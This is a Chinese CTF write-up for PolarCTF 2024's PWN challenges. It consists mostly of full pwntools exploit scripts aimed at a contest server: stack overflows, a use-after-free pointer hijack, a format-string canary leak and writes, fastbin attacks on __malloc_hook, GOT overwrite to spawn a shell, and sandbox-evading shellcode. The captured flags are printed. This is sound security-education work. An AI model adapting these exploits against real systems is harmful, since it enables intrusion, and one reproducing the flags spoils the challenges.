PolarCTF网络安全2024秋季个人挑战赛PWN方向详细题解
1222706425506668 发表于 湖北 CTF 950浏览 · 2024-09-21 12:30

[TOC]

find

直接的栈溢出,同时发现后门

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/find")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2060)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/find")
libc=elf.libc 

#flag{2b6ee473-ffda-4a4e-a818-cc8108d72b35}
def dbg():
    gdb.attach(p,'b *0x04013E5')
    pause()

backdoor=0x80485F1 
p.sendlineafter("Please enter what you need:",str(2))
payload=b'a'*0x74+p32(backdoor)

p.send(payload)

p.interactive()

sys

也是直接的栈溢出,题目是静态链接的,也有直接后门

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/sys")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2078)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/sys")
libc=elf.libc 


def dbg():
    gdb.attach(p,'b *0x80488FC')
    pause()

# dbg()
#flag{f377c8d6-f4f1-4e9b-954e-8149911308c6}
backdoor=0x80488D2
payload=b'a'*0x2c+p32(backdoor)
p.send(payload)

p.interactive()

ezUAF

libc2.23
add函数,发现有个函数指针存在堆上

delete函数有uaf

show函数,是通过add函数中的函数指针来定位函数

题目还有直接后门

由上述信息就可以得知我们应当通过控制堆块,进而控制函数指针,实现任意函数执行,这里也就是执行backdoor

add(8,b'a')
add(0x50,b'a')
add(8,b'a')
delete(0)
delete(1)
add(8,p32(magic))
这样最后一个add出来的堆块实际是ck0,这样就可以控制堆块进而控制函数指针,然后调用show(0)实际上就不是原来的print函数,而是我们写入的magic后门函数

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2071)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

#flag{1e84256d-ad36-4e29-a46c-a75003805965}
def dbg():
    gdb.attach(p,'b *0x04013E5')
    pause()

menu="Your choice :"
def add(size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("Note size :",str(size))
    p.sendafter("Content :",cont)

def delete(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("Index :",str(idx))

def show(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("Index :",str(idx))

magic=0x8048945

add(8,b'a') #0
add(0x50,b'a') #1
add(8,b'a')
delete(0)
delete(1)
add(8,p32(magic))
show(0)


p.interactive()

chuan1

题目开启了canary,还有直接的后门函数

两次格式化字符串,read长度还可以栈溢出,思路很明确,第一次泄露canary,第二次直接栈溢出覆盖retaddr为后门即可

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2109)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

#flag{f1490b4d-75ac-42d7-a08f-e500f8af76c7}
def dbg():
    gdb.attach(p,'b *0x8048632 ')
    pause()

# dbg()
backdoor=0x80485F1 

p.send(b'%31$p')
# print(p.recv(10))
canary=int(p.recv(10),16)
print(hex(canary))


payload=b'a'*0x64+p32(canary)+b'a'*0xc+p32(backdoor)
p.send(payload)

p.interactive()

easyhay

题目没有开启Pie
create函数

edit函数

delete函数,没有uaf

这里有magic

思路就是通过错位构造,然后add出magic附近的地址,这样相当于可以控制magic后的整个bss段,错位构造可以通过exp看到。

最初想法是直接修改magic的值,然后利用题目的后门,但是打远程发现这个/home/pwn/flag根本不存在,于是转变思路,题目可能只是想给个system函数这样可以不用泄露

但是需要注意我们已经控制了magic后的整个bss段,因此也可以控制chunklist,进而可以通过edit实现任意地址写任意值。最后是向atoi_got写入system,然后利用read(0, buf, 8uLL); atoi(buf);实现system("/bin/sh\x00")

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2118)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

#flag{3741e1cf-4ec6-416c-ad0e-1fea94deb55b}
def dbg():
    gdb.attach(p,'b *0x400C8C')
    pause()

menu="Your choice :"
def add(size,cont):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendafter("Content of heap:",cont)


def edit(idx,size,cont):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("Index :",str(idx))
    p.sendlineafter("Size of Heap : ",str(size))
    p.sendafter("Content of heap : ",cont)

def delete(idx):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("Index :",str(idx))

add(0x68,b'a') #0
add(0x68,b'a') #1
add(0x68,b'a') #2

delete(1)
magic=0x6020C0
atoi=0x602068
system=0x400700
# dbg()
edit(0,0x100,b'a'*0x60+p64(0)+p64(0x71)+p64(magic-0x13))

add(0x68,b'a')
add(0x68,b'a'*0x13+p64(0)*2+p64(atoi))
# dbg()
edit(0,0x20,p64(system))


p.sendlineafter(menu,b'/bin/sh\x00')


p.interactive()

rescuefuchun

栈上的格式化字符串,覆盖link的值为0x42696F7即可

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/rescuefuchun")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2076)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/rescuefuchun")
libc=elf.libc 

#flag{7d585c08-655a-4880-af6e-9aa5cca7edfd}
def dbg():
    gdb.attach(p,'b *0x80484F1')
    pause()

link=0x804A02C
magic=0x42696F7

# dbg()
payload=f"%{(magic>>16)&0xffff}c%12$hn%{(magic&0xffff)-((magic>>16)&0xffff)}c%13$hn".encode()
payload=payload.ljust(0x20,b'a')+p32(link+2)+p32(link)
print(hex(len(payload)))
p.send(payload)


p.interactive()

heap1

add函数

delete函数

show和edit都是空的

题目栈可执行,但是无法泄露,只有add和delete能用,而且add时的size还必须<=8,shellcode都不是很好打,就没什么思路了

try_sandbox

题目上来mmap出一段可读写执行的区域

沙盒禁用了execve等函数
这里的read有溢出

显然可以覆盖rbp为mmap_addr附近地址,然后覆盖返回地址为my_read这样就可以向这个可读写执行的区域的区域写入shellcode,shellcode用的是open+sendfile

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2137)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc 

#flag{b88b5df0-8e60-4994-b1a5-14eb3cfd1863}
def dbg():
    gdb.attach(p,'b *0x04013E5')
    pause()

mmap_addr=0x166000
my_read=0x4012CC
payload=b'a'*0x40+p64(mmap_addr+0x40)+p64(my_read)
payload=payload.ljust(0x80,b'a')
p.send(payload)

shellcode='''
 /* call open('rsp', 0, 'O_RDONLY') */
    push 0x67616c66  /* push b'flag\x00' */
    push 2
    pop rax
    mov rdi, rsp
    xor esi, esi 
    cdq 
    syscall
    /* call sendfile(1, 'rax', 0, 0x100) */
    mov r10d, 0x100
    mov rsi, rax
    push 40 /* sendfile的系统调用号0x28 */
    pop rax
    push 1
    pop rdi
    cdq 
    syscall
'''
shellcode=asm(shellcode)
print(hex(len(shellcode)))
shellcode=shellcode.ljust(0x48,b'\x90')+p64(mmap_addr)
shellcode=shellcode.ljust(0x80,b'a')
p.send(shellcode)

p.interactive()

ez_heap1

libc2.23

add

delete有uaf

edit的长度可以自己输入,无限长度溢出

show

思路就是先泄露libcbase,然后通过错位构造来打fastbin attack,进行通过malloc_hook打one_gadget

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2116)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf=process("/home/zp9080/PWN/pwn")
libc=ELF("/home/zp9080/PWN/libc-2.23.so")

def dbg():
    gdb.attach(p,'b *0x400A34 ')
    pause()

menu="choice:"
def add(idx,size):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("index:",str(idx))
    p.sendlineafter("size:",str(size))

def delete(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("index:",str(idx))

def edit(idx,len,cont):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("index:",str(idx))
    p.sendlineafter("length:",str(len))
    p.sendafter("content:",cont)

def show(idx):
    p.sendlineafter(menu,str(4))
    p.sendlineafter("index:",str(idx))

#flag{5701b768-ea8e-4a18-b1d1-b6c8ac3c94a5}
add(0,0x420)
add(1,0x20)
delete(0)
show(0)
# dbg()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c4b78
__malloc_hook=libcbase+libc.sym["__malloc_hook"]
system_addr=libcbase+libc.sym["system"]
print(hex(libcbase))
print(hex(__malloc_hook))
# pause()
add(0,0x420)

add(2,0x68)
add(3,0x68)
delete(3)
delete(2)

ogg=[0x4527a,0xf03a4,0xf1247]

edit(2,0x68,p64(__malloc_hook-0x23))

add(4,0x68)
add(5,0x68)

one_gadget=libcbase+ogg[2]
# dbg()
edit(5,0x70,b"\x00"*0x13 + p64(one_gadget))

add(6,0x50)

p.interactive()

unk

libc2.23 附件实现的功能和ezheap1基本一致,用通过的exp就打通了

  • exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p=remote('120.46.59.242',2116)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf=process("/home/zp9080/PWN/pwn")
libc=ELF("/home/zp9080/PWN/libc-2.23.so")

def dbg():
    gdb.attach(p,'b *0x400A34 ')
    pause()

menu="choice:"
def add(idx,size):
    p.sendlineafter(menu,str(1))
    p.sendlineafter("index:",str(idx))
    p.sendlineafter("size:",str(size))

def delete(idx):
    p.sendlineafter(menu,str(2))
    p.sendlineafter("index:",str(idx))

def edit(idx,len,cont):
    p.sendlineafter(menu,str(3))
    p.sendlineafter("index:",str(idx))
    p.sendlineafter("length:",str(len))
    p.sendafter("content:",cont)

def show(idx):
    p.sendlineafter(menu,str(4))
    p.sendlineafter("index:",str(idx))

#flag{3c6457e2-6b2c-46b5-a6cb-c181f3b8ade4}
add(0,0x420)
add(1,0x20)
delete(0)
show(0)
# dbg()
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x3c4b78
__malloc_hook=libcbase+libc.sym["__malloc_hook"]
system_addr=libcbase+libc.sym["system"]
print(hex(libcbase))
print(hex(__malloc_hook))
# pause()
add(0,0x420)

add(2,0x68)
add(3,0x68)
delete(3)
delete(2)

ogg=[0x4527a,0xf03a4,0xf1247]

edit(2,0x68,p64(__malloc_hook-0x23))

add(4,0x68)
add(5,0x68)

one_gadget=libcbase+ogg[2]
# dbg()
edit(5,0x70,b"\x00"*0x13 + p64(one_gadget))

add(6,0x50)

p.interactive()
1 条评论
某人
表情
可输入 255
目录